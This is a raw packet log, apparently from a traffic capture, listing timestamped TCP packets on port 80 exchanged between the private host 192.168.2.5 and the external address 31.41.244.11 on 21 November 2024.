Nov 21, 2024 03:09:13.212748051 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.213680029 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.213814020 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.213874102 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.214715004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.214767933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.214787006 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.214853048 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.215737104 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.215801001 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.215864897 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.215915918 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.216801882 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.216854095 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.216922045 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.216973066 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.217889071 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.217988968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.218041897 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.218955040 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.219007015 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.219031096 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.219064951 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.220009089 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.220078945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.220141888 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.220220089 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.221100092 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.221153021 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.221204042 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.221251965 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.222151041 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.222208977 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.222274065 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.222323895 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.223236084 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.223288059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.223356962 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.223406076 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.224283934 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.224392891 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.224446058 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.225353003 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.225415945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.225472927 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.225538969 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.226408005 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.226527929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.226578951 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.227488995 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.227601051 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.227602005 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.227648020 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.228547096 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.228595972 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.228661060 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.228709936 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.229626894 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.229737997 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.229785919 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.230678082 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.230726957 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.230809927 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.230858088 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.231764078 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.231812954 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.231875896 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.231924057 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.232810020 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.232858896 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.232923985 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.232970953 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.233902931 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.234004974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.234055996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.234937906 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.234987974 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.235058069 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.235101938 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.236047029 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.236104012 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.236188889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.236236095 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.237112045 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.237169981 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.237196922 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.237253904 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.238161087 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.238270044 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.238325119 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.239188910 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.239243031 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.239332914 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.239386082 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.240288973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.240340948 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.240398884 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.240443945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.241334915 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.241381884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.241463900 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.241509914 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.242420912 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.242542982 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.242594004 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.243503094 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.243557930 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.243598938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.243643045 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.244555950 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.244611025 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.244674921 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.244719028 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.245621920 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.245727062 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.245779037 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.246699095 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.246757030 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.246814966 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.246860981 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.247741938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.247862101 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.247868061 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.247931957 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.248821020 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.248888969 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.248955965 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.249008894 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.250049114 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.250107050 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.250159025 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.250956059 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.251007080 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.251058102 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.251107931 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.251970053 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.252018929 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.397267103 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.397300959 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.397380114 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.397797108 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.397943974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.398003101 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.398129940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.398175955 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.398991108 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.399050951 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.399097919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.399141073 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.400068045 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.400120020 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.400166035 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.400209904 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.401117086 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.401161909 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.401232004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.401276112 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.402216911 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.402340889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.402388096 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.403274059 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.403326035 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.403367043 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.403412104 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.404330969 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.404380083 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.404419899 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.404474020 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.405445099 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.405488014 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.405554056 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.405630112 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.406488895 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.406542063 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.406626940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.406676054 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.407550097 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.407608032 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.407668114 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.407718897 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.408632994 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.408687115 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.408749104 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.408797979 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.409687996 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.409811974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.409861088 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.410753012 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.410809040 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.410876036 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.410923958 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.411839962 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.411890984 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.411951065 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.412012100 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.412878990 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.412928104 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.412993908 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.413041115 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.413947105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.414076090 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.414128065 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.415025949 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.415079117 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.415154934 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.415210009 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.416086912 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.416198015 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.416202068 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.416246891 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.417157888 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.417208910 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.417269945 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.417319059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.418231964 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.418364048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.418417931 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.419292927 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.419344902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.419404030 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.419447899 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.420365095 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.420416117 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.420464993 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.420520067 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.421427011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.421475887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.421520948 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.421581030 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.422509909 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.422619104 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.422672987 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.423547983 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.423593998 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.423676014 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.423727036 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.424637079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.424686909 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.424751043 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.424808979 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.425710917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.425796032 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.425841093 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.426749945 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.426853895 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.426856041 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.426915884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.427820921 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.427902937 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.427934885 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.427992105 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.428904057 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.428953886 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.429054976 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.429100990 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.429949045 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.430068016 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.430119038 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.431011915 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.431062937 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.431107998 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.431163073 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.432090044 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.432140112 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.432207108 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.432264090 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.433149099 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.433198929 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.433265924 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.433319092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.434207916 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.434335947 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.434386969 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.435302973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.435357094 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.435425997 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.435484886 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.436376095 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.436424971 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.436548948 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.436594009 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.437460899 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.437565088 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.437566996 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.437623978 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.438568115 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.438704014 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.438754082 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.439558029 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.439610958 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.439677954 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.439730883 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.440619946 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.440665960 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.440735102 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.440790892 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.441695929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.441745996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.441813946 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.441868067 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.442761898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.442811966 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.442850113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.442897081 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.443909883 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.443964958 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.444061041 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.444113016 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.444892883 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.444941998 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.445007086 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.445056915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.445930958 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.445981979 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.446048975 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.447016001 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.447069883 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.447135925 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.447201014 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.448107958 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.448210955 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.448215961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.448277950 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.449153900 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.449207067 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.449218035 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.449274063 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.450257063 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.450377941 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.450431108 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.451292038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.451363087 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.451417923 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.451472998 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.452342033 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.452394962 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.452439070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.452487946 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:13.598817110 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:13.598862886 CET	80	49814	31.41.244.11	192.168.2.5
